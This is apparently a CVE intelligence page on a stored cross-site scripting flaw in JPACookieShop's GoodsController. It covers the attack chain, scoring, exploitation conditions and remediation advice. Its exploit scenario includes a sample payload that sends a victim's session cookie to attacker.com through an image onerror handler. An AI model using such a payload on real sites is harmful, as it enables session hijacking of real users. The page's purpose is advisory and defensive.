JPACookieShop
CVE-2025-8222
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with valid credentials
-
DeliveryAccess product editing endpoint
-
ExploitInject XSS payload into product field
-
ExecutionSubmit to database
-
PersistVictim browses product page
-
ImpactJavaScript executes in victim browser
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) Valid authenticated user session (PR:L - login credentials needed); (2) Access to product creation or editing functionality in GoodsController (may be restricted to vendors or admins); (3) Other users must browse the affected product page for payload execution (UI:P - victim interaction required). Exploitation is NOT possible against unauthenticated access, default-deny configurations, or deployments where product data is rendered with automatic HTML escaping. The vulnerability is limited to web browsers; does not affect APIs returning JSON or backend services. |
| Impact | The risk profile presents significant discrepancies between raw CVSS and real-world exploitability. CVSS 2.0 is exceptionally low, driven by: authenticated requirement (PR:L), user interaction requirement (UI:P), and limited impact (VI:L with no confidentiality/availability damage). However, EPSS at 0.05th percentile suggests minimal exploitation probability in the wild. The presence of publicly available exploit code (POC status confirmed) conflicts with low EPSS, indicating disclosure was technical/targeted rather than broadly weaponized. The attack vector is network-accessible but requires: (1) valid login credentials, (2) navigation to affected endpoints, and (3) victim user interaction to trigger stored payload. This triple gate significantly limits mass exploitation. For organizations running JPACookieShop, this is a moderate priority for authenticated user bases but not a critical remote threat. The continuous rolling-release delivery model means patching status cannot be determined from version numbers alone, requiring vendor contact for confirmation of remediation. |
| Exploit ScenarioDerived | An authenticated user (e.g., product vendor or admin) with access to product creation/editing endpoints injects malicious JavaScript (e.g., '<img src=x onerror="fetch('//attacker.com/steal?c='+document.cookie)">') into a product name or description field. When other users (customers, admins) browse that product listing, the stored payload executes in their browser context, stealing session cookies or redirecting to a phishing page. Public exploit code at https://github.com/Bemcliu/cve-reports demonstrates the stored XSS vector. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Stored cross-site scripting (XSS) in JPACookieShop GoodsController allows authenticated users to inject malicious scripts that execute in other users' browsers, with public exploit code available and CVSS 2.0 reflecting low impact due to required user interaction and authenticated access prerequisites.
RemediationAI
No specific patched version is identifiable due to the continuous delivery model; coordinate with jerryshensjf project maintainers via GitHub to confirm if fixes have been merged to the main branch post-disclosure (check https://github.com/Bemcliu/cve-reports and the official JPACookieShop repository for remediation commits). Immediate compensating controls: (1) Implement strict HTML entity encoding on all product data (name, description, attributes) in GoodsController response templates using a templating engine with auto-escaping enabled (e.g., Thymeleaf with th:text instead of th:utext); (2) Deploy a Content Security Policy (CSP) header restricting inline scripts (Content-Security-Policy: default-src 'self'; script-src 'self') to prevent payload execution; (3) Restrict authenticated user access to GoodsController endpoints via role-based access control if editing product data is admin-only; (4) Conduct input validation on product fields server-side to reject or sanitize special characters before persistence. Trade-off: CSP may break legitimate product display features if inline event handlers are used; coordinate template refactoring accordingly.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
JPACookieShop is a Java-based e-commerce platform using JPA (Java Persistence API) for data access. The vulnerability exists in GoodsController.java, a Spring MVC controller component that handles product-related HTTP requests. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) indicates inadequate input sanitization on product data endpoints before rendering to HTML templates. Stored XSS vulnerabilities in e-commerce platforms typically arise when user-supplied data (product names, descriptions, reviews) is persisted to a database and later rendered without HTML entity encoding or content security policy enforcement.
Know when Jpacookieshop gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability, which was classified as problematic, has been found in jerryshensjf JPACookieShop 蛋糕商城JPA版 up to 24a15c02b4f75042c9f7f615a3fed2ec1cefb999. Affected by this issue is some unknown functionality of the file GoodsController.java. The manipulation leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. Multiple endpoints are affected.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
More in Jpacookieshop
View allCross-site request forgery in jerryshensjf JPACookieShop (蛋糕商城JPA版) allows unauthenticated remote attackers to perform u
Reflected cross-site scripting (XSS) in JPACookieShop's GoodsCustController.goodsSearch function allows remote unauthent
Authorization bypass in JPACookieShop (蛋糕商城JPA版) version 1.0 allows authenticated remote attackers to modify goods via t
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB